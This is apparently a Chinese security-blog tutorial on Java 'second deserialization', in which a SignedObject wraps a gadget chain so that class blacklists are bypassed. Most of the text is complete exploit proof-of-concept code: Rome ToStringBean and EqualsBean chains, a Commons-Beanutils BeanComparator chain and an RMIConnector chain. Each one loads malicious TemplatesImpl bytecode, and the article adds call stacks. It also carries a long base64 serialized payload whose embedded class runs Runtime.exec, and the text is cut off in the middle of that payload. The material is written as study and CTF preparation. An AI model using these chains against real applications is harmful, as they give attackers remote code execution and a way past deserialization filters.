JavaSec | 二次反序列化学习

admin 2025年5月25日16:03:27评论1 views字数 30422阅读101分24秒阅读模式

扫码领资料

获网安教程

JavaSec | 二次反序列化学习
JavaSec | 二次反序列化学习

本文由掌控安全学院 -  作者名 投稿

Track安全社区投稿~  

千元稿费!还有保底奖励~( https://bbs.zkaq.cn

前言

比赛中会遇到限制很多的黑白名单,二次反序列化就是为了绕过黑名单的限制或不出网利用而诞生的,顾名思义,就是反序列化两次

这里借用 @Poria 师傅的文章来解释下

JavaSec | 二次反序列化学习

可以看到只经过一次反序列化的话会被检测到 TemplatesImpl 类,而经过两次反序列化的话则不会被检测到

SignedObject

它是java.security下一个用于创建真实运行时对象的类,更具体地说,SignedObject包含另一个Serializable对象,来看看他的构造函数

JavaSec | 二次反序列化学习

将传入的 Serializable对象给序列化了,并将其值存储到了 content 字段中。继续看到该类的 getObject 方法

JavaSec | 二次反序列化学习

直接将刚才序列化的内容反序列化了, content 字段值是我们可控的,这里就是造成漏洞的最终利用点,先写个恶意的 SignedObject ,按照其构造函数来传入所需值

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");kpg.initialize(1024);KeyPair kp = kpg.generateKeyPair();SignedObject signedObject = new SignedObject(恶意对象 用于第二次反序列化, kp.getPrivate(), Signature.getInstance("DSA"));

直接拿cc3来手动触发 SignedObject 试试

package Double_deserialization;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.map.LazyMap;import org.example.Serialization;import javax.xml.transform.Templates;import java.io.IOException;import java.io.Serializable;import java.lang.annotation.Target;import java.lang.reflect.*;import java.nio.file.Files;import java.nio.file.Paths;import java.security.*;import java.util.HashMap;import java.util.Map;public class SignedObject_test {    public static void main(String[] args) throws Exception {        TemplatesImpl templates = new TemplatesImpl();        Class tc = templates.getClass();        Field nameField = tc.getDeclaredField("_name");        nameField.setAccessible(true);        nameField.set(templates, "name");        Field bytecodesField = tc.getDeclaredField("_bytecodes");        bytecodesField.setAccessible(true);        byte[] code = Files.readAllBytes(Paths.get("D:\14.Java\java test\unserizlize test\target\classes\org\example\test.class"));        byte[][] codes = {code};        bytecodesField.set(templates, codes);        Field tfactoryField = tc.getDeclaredField("_tfactory");        tfactoryField.setAccessible(true);        tfactoryField.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});//        InstantiateTransformer.transform(TrAXFilter.class);        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(TrAXFilter.class),                instantiateTransformer        };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);        HashMap<Object, Object> hashmap = new HashMap<>();        Map<Object, Object> lazymap = LazyMap.decorate(hashmap, chainedTransformer);        Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor annotationDeclaredConstructor = annotation.getDeclaredConstructor(Class.class, Map.class);        annotationDeclaredConstructor.setAccessible(true);        InvocationHandler instance = (InvocationHandler) annotationDeclaredConstructor.newInstance(Target.class, lazymap);        Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, instance);        Object o = annotationDeclaredConstructor.newInstance(Target.class, proxyInstance);        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");        kpg.initialize(1024);        KeyPair kp = kpg.generateKeyPair();        SignedObject signedObject = new SignedObject((Serializable) o, kp.getPrivate(), Signature.getInstance("DSA"));        signedObject.getObject();    }}
JavaSec | 二次反序列化学习

上面是手动触发,但在实际情况中显然是不可能的,我们可以注意到触发点 getObject 是个 getter 方法,说到 getter 方法,不难想到很多利用方式,比如 rome 链和 cb 链,接下来就来看看一些常用的触发 getter 的方法

Rome

就是拼个 rome 链来触发 getter 就好了

ToStringBean#toString

poc

package Double_deserialization;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.security.*;import java.util.HashMap;public class SignedObject_ToStringBean {    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {        Field f = obj.getClass().getDeclaredField(fieldName);        f.setAccessible(true);        f.set(obj, value);    }    public static void Unser(Object obj) throws IOException, ClassNotFoundException {        ByteArrayOutputStream bos = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(bos);        oos.writeObject(obj);        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());        ObjectInputStream ois = new ObjectInputStream(bis);        ois.readObject();    }    public static HashMap getPayload(Class clazz, Object obj) {        ObjectBean objectBean = new ObjectBean(ToStringBean.class, new ToStringBean(clazz, obj));        HashMap hashMap = new HashMap();        hashMap.put(objectBean, "rand");        return hashMap;    }    public static void main(String[] args) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {        TemplatesImpl templatesImpl = new TemplatesImpl();        byte[] code = Files.readAllBytes(Paths.get("D:\14.Java\java test\unserizlize test\target\classes\org\example\test.class"));        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{code});        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());        setFieldValue(templatesImpl, "_name", "test");        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");        kpg.initialize(1024);        KeyPair kp = kpg.generateKeyPair();        HashMap hashMap1 = getPayload(Templates.class, templatesImpl);        SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));        HashMap hashMap2 = getPayload(SignedObject.class, signedObject);        Unser(hashMap2);    }}

调用链

hashMap2:readObject()  -> ObjectBean:toString()    -> ToStringBean:toString()      -> SignedObject:toString()        -> SignedObject:getObject()          -> hashMap1:readObject()            -> ObjectBean:toString()              -> ToStringBean:toString()                -> TemplatesImpl:getOutputProperties()                  -> 恶意字节码执行

最后会发现弹了三次计算机,怀疑是类似cc6那样,在 hashMap.put(objectBean, "rand"); 处打个断点调试,果然是差不多的,put 时调用了 ObjectBean 的 hashCode ,一直到后面调用到 EqualsBean 的 beanHashCode 触发了 ToStringBean:toString(),最后的最后就直接加载了恶意类,都还没进行二次反序列化(至于为何 ToStringBean:toString() 能触发 TemplatesImpl:getOutputProperties() ,可以参考看 rome 链 )

JavaSec | 二次反序列化学习

所以删除掉

setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

就好了,这样在 put 方法触发到动态类加载是由于 _tfactory 属性为空就不会加载我们的恶意字节码,然后后面反序列化中是会自动给其赋值的,所以依然能触发

JavaSec | 二次反序列化学习

这只是第一处,第二处的话还是 put 时触发了 ToStringBean:toString() ,这时 _obj 为 SignedObject ,直接就触发了 SignedObject.getObject() ,导致调用了 hashmap1.readObject(),最后触发二次反序列化加载恶意字节码

JavaSec | 二次反序列化学习

调用栈

JavaSec | 二次反序列化学习

经过上面的分析,我们可以更清楚地理解二次反序列化,其实就是反序列化的一个嵌套调用,先反序列化外部对象时会创建内部对象,并对内部对象进行反序列化,进而触发内部对象中的恶意方法

想避免第二处触发的方法也很简单,就是修改 hashmap2 进行 put 时的参数,之后再修改回来即可,最终poc

package Double_deserialization;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import org.apache.commons.collections.functors.ConstantTransformer;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.security.*;import java.util.HashMap;public class SignedObject_test {    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {        Field f = obj.getClass().getDeclaredField(fieldName);        f.setAccessible(true);        f.set(obj, value);    }    public static HashMap getPayload(Class clazz, Object obj) {        ObjectBean objectBean = new ObjectBean(ToStringBean.class, new ToStringBean(clazz, obj));        HashMap hashMap = new HashMap();        hashMap.put(objectBean, "gaoren");        return hashMap;    }    public static void main(String[] args) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException,NoSuchFieldException, IllegalAccessException, ClassNotFoundException {        TemplatesImpl templatesImpl = new TemplatesImpl();        byte[] code = Files.readAllBytes(Paths.get("D:\14.Java\java test\unserizlize test\target\classes\org\example\test.class"));        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{code});        setFieldValue(templatesImpl, "_name", "gaoren");        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");        kpg.initialize(1024);        KeyPair kp = kpg.generateKeyPair();        HashMap hashMap1 = getPayload(Templates.class, templatesImpl);        SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));        ToStringBean tobean = new ToStringBean(SignedObject.class,new ConstantTransformer(1));        ObjectBean objectBean = new ObjectBean(ToStringBean.class,tobean);        HashMap hashMap2 = new HashMap();        hashMap2.put(objectBean, "test");        Field v = tobean.getClass().getDeclaredField("_obj");        v.setAccessible(true);        v.set(tobean, signedObject);        Unser(hashMap2);    }    public static void Unser(Object obj) throws IOException, ClassNotFoundException {        ByteArrayOutputStream bos = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(bos);        oos.writeObject(obj);        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());        ObjectInputStream ois = new ObjectInputStream(bis);        ois.readObject();    }}

小结

先反序列化触发 hashMap2:readObject() ,然后通过 ToStringBean:toString() 来调用 getter方法,这样就会调用 SignedObject:getObject() ,造成 hashMap1:readObject() 执行,最后 TemplatesImpl:getOutputProperties() 加载恶意字节码

EqualsBean#equals

这个在学 rome 的时候没学,只学了 ObjectBean.toString()。。。简单看了下,ObjectBean 中的 equals 会触发 EqualsBean#beanEquals

JavaSec | 二次反序列化学习

其实 EqualsBean#equals 也能触发 beanEquals,所以待会写 poc 不会用到 ObjectBean

public boolean equals(Object obj) {    return beanEquals(obj);}

跟进 beanEquals 会发现也有类似触发getter的逻辑

JavaSec | 二次反序列化学习

先是获取当前属性的 getter 方法,然后用 invoke 调用,而想要触发 equals ,不难想到 CC7。但是最后在 EqualsBean#equals 中想要调用 getter 方法必须满足一些条件 ,要 bean1 和 bean2 不为空。还需要满足

if (!_beanClass.isInstance(bean2))

这里就是判断 bean2 是否是 _beanClass 类的或其子类的实例。由后面调用 getter 不难看出 _beanClass 是 equalsbean 类,这也是为啥用 EqualsBean#equals 来触发 beanEquals 的原因

跟进调用栈发现 bean2 就是 AbstructMap 类 equals 方法中的 m.get(key),m.get (key) 就是获取 hashmap 中 key 对应的 value 值,所以待会构造 poc 时要使一个 value 为恶意 TemplatesImpl 对象,也就是 bean2

JavaSec | 二次反序列化学习

同时我们也要保证 value.equals(m.get(key)) 中 value 的值为 EqualsBean 对象,也就是说这里还要放一个 value ,而触发CC7,还要两个 hashmap 的 hash 值相同,可以这样

HashMap hashMap1 = new HashMap();hashMap1.put("a", bean);hashMap1.put("b", tem);HashMap hashMap2 = new HashMap();hashMap2.put("a", tem);hashMap2.put("b", bean);

先看poc再调试分析

package Double_deserialization;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import javax.xml.transform.Templates;import java.io.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Hashtable;import java.lang.reflect.Field;public class test {    public static void main(String[] args)throws Exception {        TemplatesImpl tem =new TemplatesImpl();        byte[] code = Files.readAllBytes(Paths.get("D:\14.Java\java test\unserizlize test\target\classes\org\example\test.class"));        setValue(tem, "_bytecodes", new byte[][]{code});        setValue(tem, "_tfactory", new TransformerFactoryImpl());        setValue(tem, "_name", "test");        setValue(tem, "_class", null);        //bean1        EqualsBean bean = new EqualsBean(String.class, "test");        HashMap hashMap1 = new HashMap();        hashMap1.put("yy", bean);        hashMap1.put("zZ", tem);        HashMap hashMap2 = new HashMap();        hashMap2.put("yy", tem);        hashMap2.put("zZ", bean);        Hashtable table = new Hashtable();        table.put(hashMap1, "1");        table.put(hashMap2, "2");        setValue(bean, "_beanClass", Templates.class);        //bean2        setValue(bean, "_obj", tem);        Unser(table);    }    public static void Unser(Object obj) throws IOException, ClassNotFoundException {        ByteArrayOutputStream bos = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(bos);        oos.writeObject(obj);        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());        ObjectInputStream ois = new ObjectInputStream(bis);        ois.readObject();    }    public static void setValue(Object obj,String fieldName,Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj,value);    }}

跟进 HashMap 的 hashcode 可以看到其是把 key 和 value 异或从而得到结果,所以换个顺序并不会影响键值对的 hash 值

JavaSec | 二次反序列化学习

经过上面的分析,我们已经清晰地了解到是在 EqualsBean#equals 中触发的 getter 方法,看下调用栈

getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)beanEquals:146, EqualsBean (com.sun.syndication.feed.impl)equals:103, EqualsBean (com.sun.syndication.feed.impl)equals:472, AbstractMap (java.util)reconstitutionPut:1221, Hashtable (java.util)readObject:1195, Hashtable (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:1900, ObjectInputStream (java.io)readOrdinaryObject:1801, ObjectInputStream (java.io)readObject0:1351, ObjectInputStream (java.io)readObject:371, ObjectInputStream (java.io)getObject:180, SignedObject (java.security)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)beanEquals:146, EqualsBean (com.sun.syndication.feed.impl)equals:103, EqualsBean (com.sun.syndication.feed.impl)equals:472, AbstractMap (java.util)reconstitutionPut:1221, Hashtable (java.util)readObject:1195, Hashtable (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:1900, ObjectInputStream (java.io)readOrdinaryObject:1801, ObjectInputStream (java.io)readObject0:1351, ObjectInputStream (java.io)readObject:371, ObjectInputStream (java.io)Unser:74, ObjectBean_equals (Double_deserialization)main:66, ObjectBean_equals (Double_deserialization)

最终二次反序列化poc

package Double_deserialization;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import javax.xml.transform.Templates;import java.io.*;import java.nio.file.Files;import java.nio.file.Paths;import java.security.KeyPair;import java.security.KeyPairGenerator;import java.security.Signature;import java.security.SignedObject;import java.util.HashMap;import java.util.Hashtable;import java.lang.reflect.Field;public class ObjectBean_equals {    public static void main(String[] args)throws Exception {        TemplatesImpl tem =new TemplatesImpl();        byte[] code = Files.readAllBytes(Paths.get("D:\14.Java\java test\unserizlize test\target\classes\org\example\test.class"));        setValue(tem, "_bytecodes", new byte[][]{code});        setValue(tem, "_tfactory", new TransformerFactoryImpl());        setValue(tem, "_name", "test");        setValue(tem, "_class", null);        EqualsBean bean1 = new EqualsBean(String.class, "test");        HashMap hashMap1 = new HashMap();        hashMap1.put("yy", bean1);        hashMap1.put("zZ", tem);        HashMap hashMap2 = new HashMap();        hashMap2.put("yy", tem);        hashMap2.put("zZ", bean1);        Hashtable table = new Hashtable();        table.put(hashMap1, "1");        table.put(hashMap2, "2");        setValue(bean1, "_beanClass", Templates.class);        setValue(bean1, "_obj",tem);        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");        kpg.initialize(1024);        KeyPair kp = kpg.generateKeyPair();        SignedObject signedObject = new SignedObject(table, kp.getPrivate(), Signature.getInstance("DSA"));        EqualsBean bean2 = new EqualsBean(String.class, "test");        HashMap hashMap3 = new HashMap();        hashMap3.put("yy", bean2);        hashMap3.put("zZ", signedObject);        HashMap hashMap4 = new HashMap();        hashMap4.put("yy", signedObject);        hashMap4.put("zZ", bean2);        Hashtable table2 = new Hashtable();        table2.put(hashMap3, "1");        table2.put(hashMap4, "2");        setValue(bean2, "_beanClass", SignedObject.class);        setValue(bean2, "_obj",signedObject);        Unser(table2);    }    public static void Unser(Object obj) throws IOException, ClassNotFoundException {        ByteArrayOutputStream bos = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(bos);        oos.writeObject(obj);        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());        ObjectInputStream ois = new ObjectInputStream(bis);        ois.readObject();    }    public static void setValue(Object obj,String fieldName,Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj,value);    }}

疑问

按理说这里和CC7那个要求不一样,只需要随意两个值即可,但是像 baaa、caaa 这样的值就不行,yy、zZ 却可以,a、b 也行,没太懂

小结

看那个调用栈,可以看出大概调用链

table2 的 Hashtable#readObejct -> EqualsBean#equals -> SignedObject#getObject -> table1 的 Hashtable#readObejct -> EqualsBean#equals -> TemplatesImpl#getOutputProperties

Commons-Beanutils

BeanComparator

学 CB 的时候学过,调用链

BeanComparator.compare()->    PropertyUtils.getProperty()

是通过 PropertyUtils.getProperty() 这个 getter 方法来调用的

poc

package Double_deserialization;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.security.KeyPair;import java.security.KeyPairGenerator;import java.security.Signature;import java.security.SignedObject;import java.util.PriorityQueue;public class CB_BeanComparator {    public static void main(String[] args)throws Exception {        TemplatesImpl tem =new TemplatesImpl();        byte[] code = Files.readAllBytes(Paths.get("D:\14.Java\java test\unserizlize test\target\classes\org\example\test.class"));        setValue(tem, "_bytecodes", new byte[][]{code});        setValue(tem, "_tfactory", new TransformerFactoryImpl());        setValue(tem, "_name", "test");        setValue(tem, "_class", null);        PriorityQueue queue1 = new PriorityQueue(1);        BeanComparator comparator2 = new BeanComparator("outputProperties");        queue1.add(1);        queue1.add(1);        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");        field.setAccessible(true);        field.set(queue1,comparator2);        Object[] queue_array = new Object[]{tem,1};        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");        queue_field.setAccessible(true);        queue_field.set(queue1,queue_array);        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");        kpg.initialize(1024);        KeyPair kp = kpg.generateKeyPair();        SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA"));        PriorityQueue queue2 = new PriorityQueue(1);        BeanComparator comparator = new BeanComparator("object");        queue2.add(2);        queue2.add(2);        Field field2 = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");        field2.setAccessible(true);        field2.set(queue2,comparator);        Object[] queue_array2 = new Object[]{signedObject,1};        Field queue_field2 = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");        queue_field2.setAccessible(true);        queue_field2.set(queue2,queue_array2);        Unser(queue2);    }    public static void Unser(Object obj) throws IOException, ClassNotFoundException {        ByteArrayOutputStream bos = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(bos);        oos.writeObject(obj);        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());        ObjectInputStream ois = new ObjectInputStream(bis);        ois.readObject();    }    public static void setValue(Object obj,String fieldName,Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj,value);    }}

调用栈

getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)invokeMethod:2116, PropertyUtilsBean (org.apache.commons.beanutils)getSimpleProperty:1267, PropertyUtilsBean (org.apache.commons.beanutils)getNestedProperty:808, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:884, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:464, PropertyUtils (org.apache.commons.beanutils)compare:163, BeanComparator (org.apache.commons.beanutils)siftDownUsingComparator:721, PriorityQueue (java.util)siftDown:687, PriorityQueue (java.util)heapify:736, PriorityQueue (java.util)readObject:795, PriorityQueue (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:1900, ObjectInputStream (java.io)readOrdinaryObject:1801, ObjectInputStream (java.io)readObject0:1351, ObjectInputStream (java.io)readObject:371, ObjectInputStream (java.io)getObject:180, SignedObject (java.security)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)invokeMethod:2116, PropertyUtilsBean (org.apache.commons.beanutils)getSimpleProperty:1267, PropertyUtilsBean (org.apache.commons.beanutils)getNestedProperty:808, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:884, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:464, PropertyUtils (org.apache.commons.beanutils)compare:163, BeanComparator (org.apache.commons.beanutils)siftDownUsingComparator:721, PriorityQueue (java.util)siftDown:687, PriorityQueue (java.util)heapify:736, PriorityQueue (java.util)readObject:795, PriorityQueue (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:1900, ObjectInputStream (java.io)readOrdinaryObject:1801, ObjectInputStream (java.io)readObject0:1351, ObjectInputStream (java.io)readObject:371, ObjectInputStream (java.io)Unser:75, CB_BeanComparator (Double_deserialization)main:67, CB_BeanComparator (Double_deserialization)

小结

还是看调用栈得出大概调用链,跟上面的差不多

queue2的 PriorityQueue#readObject->BeanComparator#compare->PropertyUtils#getProperty->SignObject#getObject->queue1的 PriorityQueue#readObject->BeanComparator#compare->TemplatesImpl#getOutputProperties

RMIConnector

顾名思义,一个用来与远程 rmi 连接器的连接类,在 javax.management.remote.rmi 包中的 RMIConnector

这里重点关注其 findRMIServerJRMP 方法

JavaSec | 二次反序列化学习

这个方法的作用就是反序列化 base64 编码的 RMI 服务器的 stub,跟进发现 findRMIServer 函数调用了它

JavaSec | 二次反序列化学习

path 为 /stub/ 开头就会调用 findRMIServerJRMP ,继续跟进,发现 connect 方法调用了 findRMIServer

JavaSec | 二次反序列化学习

需要满足 rmiServer = null 才会调用,我们可以发现有个构造类刚好满足这个条件

JavaSec | 二次反序列化学习
  • • 第一个构造方法:仅依赖 URL,会在后续通过 findRMIServer 来解析 rmiServer 存根
  • • 第二个构造方法:直接提供 rmiServer 存根,不需要 URL 查询,适用于已知存根的情况

为了满足 rmiServer = null 我们选择第一个,故构造语句

JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");setFieldValue(jmxServiceURL, "urlPath", "/stub/base64string");RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

然后触发 connect 直接用 cc1 的 lazymap 触发任意方法打就行了,/stub/ 后面随便跟个base64编码序列化后的链子就行,比如这里我用的就是 cb

package Double_deserialization;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.remote.JMXServiceURL;import javax.management.remote.rmi.RMIConnector;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class RMIConnector_test {    public static void main(String[] args) throws Exception {        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");        setFieldValue(jmxServiceURL, "urlPath", "/stub/rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAABePK/rq+AAAANAAyCgACAAMHAAQMAAUABgEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBAAY8aW5pdD4BAAMoKVYKAAgACQcACgwACwAMAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CAAOAQAEY2FsYwoACAAQDAARABIBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7BwAUAQATamF2YS9sYW5nL0V4Y2VwdGlvbgoAEwAWDAAXAAYBAA9wcmludFN0YWNrVHJhY2UHABkBAB9tYWluL2phdmEvY2MyL1Rlc3RUZW1wbGF0ZXNJbXBsAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAhTG1haW4vamF2YS9jYzIvVGVzdFRlbXBsYXRlc0ltcGw7AQANU3RhY2tNYXBUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAqAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwva